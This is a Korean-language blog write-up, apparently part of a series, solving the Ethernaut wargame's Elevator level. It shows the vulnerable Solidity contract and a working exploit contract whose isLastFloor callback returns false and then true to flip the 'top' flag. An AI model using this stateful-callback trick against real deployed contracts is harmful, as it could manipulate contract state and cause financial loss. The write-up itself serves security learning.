Pwnstar

Ethernaut Level 11(Elevator) 본문

Wargame/Ethernaut

Ethernaut Level 11(Elevator)

포너블처돌이 2023. 4. 5. 17:08

음 되게 쉬운 문제다 일단 코드부터

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

보면 Building interface를 통해 Building 컨트랙트의 isLastFloor함수를 가져다 쓰는데, msg.sender의 주소를 매개변수로 building 객체를 생성한다. 즉, 이 Building 컨트랙트는 내가 생성한 것을 가져다 쓴다는 것.

그리고 문제를 풀기 위해서는 false로 되어 있는 top을 true로 만들어야 하는데, 그 값을 isLastFloor함수에서 가져온다.

그 점을 고려해서 코드를 짰다.

pragma solidity ^0.8.0;

interface IElevator{
    function goTo(uint _floor) external;
}

contract exloit {
    uint256 public cnt = 0;
    IElevator public ie;

    constructor (address _instance){
        ie = IElevator(_instance);
    }

    function gotop(uint _floor) public {
        ie.goTo(_floor);
    }

    function isLastFloor(uint _num) public returns (bool){
        if(cnt == 0){
            cnt++;
            return false;
        }
        else
            return true;
        
    }
}

gotop 함수의 매개변수로 0을 주면 top을 true로 만들 수 있다.


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 12(Privacy)  (0) 2023.04.05
Ethernaut Level 10(Re-entrancy)  (0) 2023.04.04
Ethernaut Level 9(King)  (0) 2023.04.03
Ethernaut Level 8(Vault)  (0) 2023.04.03
Ethernaut Level 7(Force)  (0) 2023.04.03
Comments